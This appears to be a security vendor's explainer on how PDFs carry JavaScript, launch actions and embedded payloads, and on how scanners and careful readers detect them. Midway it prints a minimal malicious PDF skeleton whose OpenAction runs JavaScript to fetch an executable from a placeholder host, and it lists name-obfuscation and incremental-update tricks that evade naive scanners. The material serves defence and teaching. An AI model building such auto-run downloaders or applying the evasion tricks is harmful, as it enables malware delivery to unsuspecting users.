A PDF can run code because the format allows JavaScript, actions that fire on open, commands that launch external programs and files embedded inside the document. Attackers use these to drop payloads, phish credentials or exploit bugs in the reader. A scanner inflates the PDF's compressed streams and looks for those structures by name, and you can open an untrusted PDF safely by using a viewer that ignores them.
Why a document format can execute anything
PDF was designed to reproduce a printed page exactly, and for that job it needs nothing more than fonts, images and drawing instructions. But Adobe kept adding features for interactive forms and rich documents, and the result is a format that can carry a full JavaScript engine's worth of behaviour. The specification, now ISO 32000-2, defines actions: things a document can ask the reader to do. Some are harmless (go to a page, follow a link). Others are not: run JavaScript, launch an application, submit form data to a URL, open an embedded file. Any of them can be attached to the document itself so that it fires as soon as the file is opened, before you have seen a single page.
The second reason is more prosaic. PDF readers are large, old programs written in C and C++ that parse untrusted input, and they have had a long history of memory-corruption bugs in their font, image and JavaScript handling. A malformed object that crashes a vulnerable reader in the right way runs the attacker's code with your privileges. That was the dominant PDF attack around 2009 to 2013, when Adobe Reader was the most exploited desktop program, and it remains a threat on any machine running an old reader today.
Inside a PDF: objects, streams and names
A PDF is a list of numbered objects, each a dictionary of /Name value pairs, plus a cross-reference table that says where each object lives. Content such as page drawing, fonts and embedded files is stored in streams, which are almost always compressed with /FlateDecode. The structure a scanner cares about is a handful of names:
| Keyword | Meaning | Why it matters |
|---|---|---|
/JS, /JavaScript | Script code, inline or in a stream | Runs in the reader's JavaScript engine |
/OpenAction | Action fired when the document opens | Runs before the user does anything |
/AA | Additional actions: on page open, on mouse over a field, on close | Triggers without a click |
/Launch | Run an external application or file | Direct route to executing a payload |
/EmbeddedFile | A file attached inside the PDF | Carrier for an executable, script or Office document |
/RichMedia | Flash or other multimedia content | Historic exploit vector against the reader |
/URI, /SubmitForm | Open a URL, post form data | Phishing and data exfiltration |
/AcroForm, /XFA | Interactive forms | Where scripts usually live in legitimate PDFs |
A minimal malicious skeleton makes the mechanism clear. This document has one page and does nothing visible, but the catalog's /OpenAction points at a JavaScript object:
1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R >> endobj
4 0 obj << /Type /Action /S /JavaScript
/JS (app.launchURL("http://example.invalid/update.exe", true);) >> endobj
Real samples hide the same thing. Names can be written with hex escapes (/J#61vaScript is /JavaScript), strings can be hex-encoded, the script can sit inside a compressed stream, and the interesting objects can be added in an incremental update at the end of the file so that the first cross-reference table never mentions them. A scanner that greps the raw bytes for /JavaScript misses all of this; it has to parse and inflate first.
The four attack patterns
1. Phishing lures
By far the most common malicious PDF today contains no code at all. It is a one-page image, styled as an invoice, a voicemail notification or a shared document, with a /URI link to a credential-harvesting page. Attackers use PDF because mail filters trust it more than an HTML attachment and because the link is not visible in the email body. A scanner can flag the link and the lack of real content; the defence is the same as for any phishing message, covered in how to spot phishing.
2. Launch and embedded-file droppers
A /Launch action asks the reader to run something. Modern Acrobat shows a warning dialog, but the attacker writes the dialog text, so it says "Click Open to view the secured document". Combined with an /EmbeddedFile, the PDF becomes a self-contained dropper: the embedded executable, script or macro-laden Office file is extracted and run. Scan.now reports these as launch or open actions and embedded files, and an executable inside is escalated as an embedded executable.
3. JavaScript
Acrobat's JavaScript is sandboxed and cannot write arbitrary files on its own, so JavaScript in a modern PDF is usually a component rather than the whole attack: it opens a URL, submits a form, unpacks a second-stage object, or performs heap spraying to set up an exploit. In a legitimate document JavaScript appears in forms for validation and calculation. In a document that is not a form, it has no business being there, and Scan.now's PDF contains JavaScript finding treats it that way.
4. Reader exploits
The exploit route targets a bug in the reader rather than a feature. Malformed fonts, images, JBIG2 streams and XFA forms have all been used. The document usually carries JavaScript to prepare memory, an /OpenAction to fire it and a shellcode payload in a stream. The defence is entirely about the reader: a patched, sandboxed viewer turns most of these into a crash at worst.
Tells you can spot without tools
Some warning signs are visible before any parsing. A PDF described as a multi-page contract that is a few kilobytes in size has no real content; one that is several megabytes for a single page of text is carrying something. A document whose only page is a blurred image with a large button saying "View document" or "Open in Adobe" is a lure by construction, since real documents do not need a button to be read. Metadata helps too: the Producer and Creator fields in the document properties name the software that generated the file, and a corporate invoice produced by a scripting library or an online converter rather than the accounting system a company actually uses is at least worth a question. A filename with a second extension, a date far in the past or future, or a page count that does not match the sender's description are all small facts that cost nothing to check. None of them is proof. Together with the sender check and the scan, they are usually enough to decide.
How a scanner checks a PDF
A structural PDF check is quick and, unlike a signature, does not depend on having seen the sample. The classic tool is Didier Stevens's pdfid.py, which counts the keywords above after normalising name obfuscation:
$ pdfid.py invoice_2026.pdf
PDF Header: %PDF-1.7
obj 12
stream 4
/Page 1
/JS 1
/JavaScript 1
/AA 0
/OpenAction 1
/Launch 0
/EmbeddedFile 0
/RichMedia 0
One page, JavaScript and an OpenAction is the profile of a document that wants to do something the moment it opens, and it warrants a look with pdf-parser.py to read the script. Scan.now's file scanner performs the same kind of inspection in memory, inflating streams and resolving escaped names before looking for the keywords, then runs signature matching over the decoded content, and discards the file afterwards. That is a passive analysis; the document is never rendered or executed. The broader detection layers are described in how antivirus scanning works.
/JavaScript is not automatically malicious. Government forms, invoices generated by accounting software and interactive brochures all use scripting legitimately. The question is whether this document, from this sender, has any reason to.Opening an untrusted PDF safely
- Scan it first, and read the findings rather than just the verdict. JavaScript, OpenAction, Launch or embedded files in a document that claims to be an invoice are disqualifying.
- Prefer a browser viewer. Chrome's and Firefox's built-in viewers run inside the browser sandbox, do not honour Launch actions and do not run unrestricted JavaScript. For a quick look, they are the safest general-purpose readers most people have.
- Harden Acrobat if you must use it. In Acrobat Reader go to Preferences, then JavaScript, and untick "Enable Acrobat JavaScript"; under Security (Enhanced) make sure Protected View is set to "All files" and Enhanced Security is on. Keep it updated.
- Never accept a dialog. A PDF that asks to open a file, run a program, allow a connection or "enable features" is asking for exactly what an attacker needs. Close it.
- Flatten it. Printing the PDF to a new PDF, or converting it to images, produces a document with the pages and none of the objects. It is the right way to keep a copy of something you had to read but do not trust.
PDFs share their delivery methods and much of their playbook with Office documents, so the Office macro guide is the natural companion, and the step-by-step reasoning in is this file safe applies to a PDF exactly as it does to any other attachment.